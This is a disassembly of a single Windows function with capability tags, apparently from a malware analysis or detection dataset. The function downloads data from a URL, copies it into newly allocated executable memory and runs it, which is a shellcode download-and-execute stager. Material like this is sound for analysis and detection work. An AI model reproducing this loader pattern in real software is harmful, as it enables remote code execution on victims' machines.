Function at 0x402630
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403658
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push esi
push esi
push esi
push esi
push 1
push 0xe06124
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x15], 0
call sub.MFC42.DLL_CInternetSession::CInternetSession
push esi
lea eax, [ebp - 0x14]
push 4
mov edi, 0x7d0
push eax
push 2
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], edi
call sub.MFC42.DLL_CInternetSession::SetOption
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 5
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call sub.MFC42.DLL_CInternetSession::SetOption
push esi
lea edx, [ebp - 0x14]
push 4
push edx
push 6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call sub.MFC42.DLL_CInternetSession::SetOption
push esi
lea eax, [ebp - 0x14]
push 4
push eax
push 7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call sub.MFC42.DLL_CInternetSession::SetOption
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call sub.MFC42.DLL_CInternetSession::SetOption
mov edx, dword [ebp + 8]
push esi
push esi
push 0x84000002
push 1
push edx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CInternetSession::OpenURL
mov edi, eax
lea eax, [ebp - 0x34]
push eax
mov ecx, edi
mov dword [ebp - 0x1c], edi
call sub.MFC42.DLL_CHttpFile::QueryInfoStatusCode
cmp dword [ebp - 0x34], 0xc8
jne 0x402831
lea ecx, [ebp + 8]
push esi
push ecx
push 5
mov ecx, edi
mov dword [ebp + 8], esi
call sub.MFC42.DLL_CHttpFile::QueryInfo
mov eax, dword [ebp + 8]
cmp eax, esi
jbe 0x402831
add eax, 8
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x40277c
push 0x10
push 0xe0611c
push 0xe06100
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.00403264
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
xor eax, eax
mov edi, ebx
lea ecx, [edx + 8]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
cmp esi, eax
jae 0x4027cc
sub eax, esi
cmp eax, 0x800
jb 0x4027a9
mov eax, 0x800
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [esi + ebx]
mov edx, dword [ecx]
push eax
call dword [edx + 0x3c]
test eax, eax
jg 0x4027c8
push 0x10
push 0xe0611c
push 0xe060e0
jmp 0x4027ec
add esi, eax
jmp 0x402794
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x402803
push 0x10
push 0xe0611c
push 0xe060b8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x40275a
mov ecx, dword [ebp + 8]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call eax
test ebx, ebx
mov byte [ebp - 0x15], 1
je 0x40282c
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov edi, dword [ebp - 0x1c]
xor esi, esi
cmp edi, esi
je 0x402845
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x54]
mov edx, dword [edi]
push 1
mov ecx, edi
call dword [edx + 4]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.00403264
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x15]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret